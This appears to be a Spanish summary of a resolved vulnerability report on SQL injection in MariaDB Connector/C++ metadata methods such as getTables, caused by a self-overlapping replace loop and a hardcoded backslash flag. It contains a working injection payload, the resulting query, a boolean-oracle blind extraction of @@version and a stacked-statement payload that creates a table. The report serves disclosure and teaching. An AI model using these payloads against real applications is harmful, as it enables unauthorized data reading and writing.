Reports
MEDIA[SQL INJECTION]#3890289

Inyección SQL en MariaDB Connector/C++: el escapador vuelve a escapar su propia salida en los métodos de metadatos

Un fallo en la función replace del conector C++ de MariaDB multiplicaba las barras invertidas al escapar, dejando una impar que rompía el literal. Un nombre de tabla o esquema controlado por el atacante permitía inyectar SQL a través de getTables y otros métodos de metadatos.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

MariaDB Connector/C++ construye por dentro consultas contra information_schema cada vez que una aplicación llama a métodos de DatabaseMetaData como getTables o getColumns. Los nombres de tabla, esquema o columna que recibe se meten en esas consultas como literales, después de pasar por Utils::escapeString. El problema es que ese escapador estaba roto de dos maneras independientes, y cualquiera de las dos bastaba para salir del literal e inyectar SQL.

Fallo 1: la función de reemplazo se pisa a sí misma. Utils::escapeString usa el ayudante sql::mariadb::replace, implementado en src/util/String.cpp:64-76:

  SQLString& replaceInternal(SQLString& str, const SQLString& _substr, const SQLString &subst)
  {
    size_t pos= 0, prev= 0;
    ...
    while ((pos= real.find(substr, prev)) != std::string::npos)
    {
      real.replace(pos, substr.length(), realSub);
      prev+= realSub.length();
    }

Tras cada sustitución, el cursor de búsqueda debería quedar en pos + realSub.length(), justo detrás de lo que se acaba de insertar. En cambio, prev solo va sumando la longitud de la sustitución desde cero (2, 4, 6…). Si el carácter estaba en la posición p, la siguiente búsqueda empieza por detrás de él, vuelve a encontrar lo que el propio bucle insertó y lo reemplaza otra vez, hasta que prev sobrepasa la racha. Un solo carácter de entrada acaba convertido en unos p+1 caracteres.

El escapador hace dos pasadas con ese ayudante (src/util/Utils.cpp:66-81):

    SQLString escaped= replace(value, "'", "''");
    if (noBackslashEscapes){
      return escaped;
    }
    return replace(escaped, "\\", "\\\\");

Duplicar comillas siempre da un número par, así que esa pasada sobrevive a la multiplicación. Duplicar barras invertidas no: según el informe, una barra en la posición 5 sale como siete barras. Con una racha impar queda una barra "viva" que escapa la comilla siguiente y deja el literal abierto.

Fallo 2: los ayudantes no se ponen de acuerdo sobre la barra invertida. En MariaDbDatabaseMetaData.cpp hay tres funciones que escapan argumentos de metadatos:

:526  return "'" + Utils::escapeString(value, connection->getProtocol()->noBackslashEscapes()) + "'";
:570  return "("+columnName +" "+predicate +" '" + Utils::escapeString(tableName,true)+"')";
:580  return "(" + columnName + " " + predicate + " '" + Utils::escapeString(schemaName, true) + "')";

escapeQuote (línea 526) consulta el modo real del servidor. patternCond (570) y schemaPatternCond (580) pasan true fijo, es decir, le dicen al escapador que la barra invertida no es carácter de escape. Pero con el sql_mode por defecto (sin NO_BACKSLASH_ESCAPES) sí lo es, así que esas dos funciones nunca escapaban las barras.

El investigador lo midió en lugar de suponerlo: probó 336 formas de payload contra cuatro compilaciones distintas.

[STOCK HEAD c57f17f      ] payload shapes tried=336  injecting shapes=42
[fix A only (escape flag)] payload shapes tried=336  injecting shapes=36
[fix B only (replaceInt.)] payload shapes tried=336  injecting shapes=0
[fix A + fix B           ] payload shapes tried=336  injecting shapes=0

Corregir solo el indicador fijo dejaba 36 formas funcionando, porque activaba un duplicado de barras que seguía multiplicándose en rachas impares. Corregir replaceInternal cerraba todas las probadas.

Superficie afectada. patternCond y schemaPatternCond las usan getTables, getColumns, getPrimaryKeys, getProcedures, getProcedureColumns, getFunctions, getFunctionColumns, getColumnPrivileges y getTablePrivileges. escapeQuote, que comparte el replace defectuoso, alimenta otras catorce llamadas a catalogCond. Además, MariaDbConnection::quoteIdentifier (líneas 85-87) y el método público MariaDbStatement::enquoteIdentifier (línea 375) se apoyan en el mismo replace, así que también la API del propio conector para entrecomillar identificadores estaba afectada. Todo ello en el commit c57f17f.

Pasos de reproducción

Requisito: que el atacante controle una cadena que la aplicación pase a un método de DatabaseMetaData. No hace falta ninguna opción de conexión especial y el servidor solo necesita su sql_mode por defecto.

  1. Arrancar MariaDB 11.4 con el sql_mode por defecto. Crear el esquema pocdb con las tablas alpha y zsecret, y el esquema otherdb con una tabla alpha.
  1. Comprobar el comportamiento normal: la aplicación llama a getTables pidiendo solo la tabla alpha y recibe una fila.
=== BENIGN CONTROL: tableNamePattern = "alpha" ===
        row: pocdb.alpha
    [benign] rows=1
  1. Pasar como tableNamePattern un valor controlado por el atacante:
alpha\' OR 1=1 OR TABLE_NAME LIKE '

Según el registro general del servidor, el conector genera esta condición:

WHERE (TABLE_SCHEMA = 'pocdb') AND (TABLE_NAME LIKE 'alpha\'''''''' OR 1=1 OR TABLE_NAME LIKE '''''''''''''''''''''''''''''')

La barra se come la primera comilla, los tres pares siguientes quedan como comillas literales y la séptima cierra el literal, de modo que OR 1=1 queda como código SQL. Resultado: aparece zsecret, que la aplicación no había pedido.

=== POSITIVE 1: literal breakout, force the predicate true ===
        row: pocdb.alpha
        row: pocdb.zsecret
    [OR 1=1] rows=2
  1. Repetir la inyección a través de schemaPattern. La restricción de esquema se salta y se devuelve una tabla de otra base de datos:
=== POSITIVE 2: cross-schema, inject via schemaPattern ===
        row: otherdb.alpha
        row: pocdb.alpha
    [schema OR 1=1] rows=2
  1. Meter una subconsulta en la misma rotura para obtener un oráculo booleano (dos filas = verdadero, cero = falso) y extraer datos byte a byte, aunque la aplicación siga pidiendo solo alpha:
  control: 1=1                        rows=2  TRUE
  control: 1=2                        rows=0  FALSE
  mysql.user count > 100              rows=0  FALSE
  mysql.user count > 0                rows=2  TRUE
  @@version starts with '1' (0x31)    rows=2  TRUE
  @@version starts with '9' (0x39)    rows=0  FALSE

Byte-by-byte extraction of @@version via the same oracle:
  recovered @@version prefix = "11?4?1"

Los dos ? son puntos, que quedan por debajo del valor mínimo (0x30) que recorría el bucle de prueba.

  1. Control negativo: con replaceInternal corregido (poc/fix/F2_rootcause_fix.diff), las mismas 336 formas de payload no inyectan ninguna y el conector emite un literal bien escapado.

Impacto

Demostrado contra un servidor real:

  • Lectura de filas que la aplicación no había pedido (pocdb.zsecret).
  • Acceso a información de otra base de datos pese a que la llamada restringía el esquema (otherdb.alpha).
  • Extracción a ciegas, byte a byte, de valores arbitrarios del servidor mediante un oráculo booleano (se recuperó @@version).

El investigador señala como expuestas las aplicaciones que dejan al usuario elegir qué tabla o esquema inspeccionar, las herramientas y consolas de administración de bases de datos, los ORM que leen el esquema a partir de un nombre recibido y los servicios multiinquilino que derivan el nombre del esquema de datos del inquilino. Las que solo pasan constantes fijas en el código no se ven afectadas.

Escritura, encadenando otro fallo. En un informe aparte, el investigador describe que Connector/C++ pasa siempre CLIENT_MULTI_STATEMENTS a mysql_real_connect (en ConnectProtocol.cpp:474) y descarta la máscara de capacidades que había calculado, por lo que las sentencias apiladas quedan activas aunque allowMultiQueries esté en su valor por defecto, false. Combinados, un argumento de getTables ejecuta sentencias adicionales arbitrarias. Lo confirmó creando una tabla:

WHERE (TABLE_SCHEMA = 'pocdb') AND (TABLE_NAME LIKE 'alpha\'''''''') ; CREATE TABLE pocdb.canary_c (id INT); -- ')

Remediación

El reporte figura como resuelto, pero no detalla qué cambio aplicó MariaDB. Lo que propone el investigador:

  • Corregir replaceInternal para que el cursor avance a pos + realSub.length() (la corrección que cerró las 336 formas probadas).
  • Dejar de fijar true en patternCond y schemaPatternCond y usar el modo real del servidor, como ya hace escapeQuote.
  • Como arreglo duradero, pasar estos valores por mysql_real_escape_string, igual que se hizo con los valores de parámetros en CONCPP-153.

Qué aprender de este caso

  • En cualquier función casera de "buscar y reemplazar todo", revisa a dónde avanza el cursor tras cada sustitución: si puede volver a encontrar lo que acaba de insertar (por ejemplo, \ → \\), el resultado depende de la posición y puede dejar un carácter de escape suelto. Prueba la función con el carácter en distintas posiciones, no solo al principio.
  • Los métodos de metadatos de los conectores (getTables, getColumns, quoteIdentifier…) también construyen SQL por dentro con lo que les pasas. Si tu aplicación les entrega nombres de tabla o esquema que vienen del usuario, trátalos como entrada no confiable y compáralos antes con una lista de nombres permitidos.
  • Un escapador que recibe como parámetro "¿la barra invertida escapa?" solo es correcto si ese valor sale del sql_mode real del servidor; un true fijo en el código lo desactiva sin que nada falle a la vista. Busca llamadas que pasen constantes en ese tipo de parámetro.
  • Si una librería ofrece su propio escapado (aquí, mysql_real_escape_string), úsalo en vez de reimplementarlo; y comprueba que las sentencias múltiples estén de verdad desactivadas, porque convierten una inyección de lectura en una de escritura.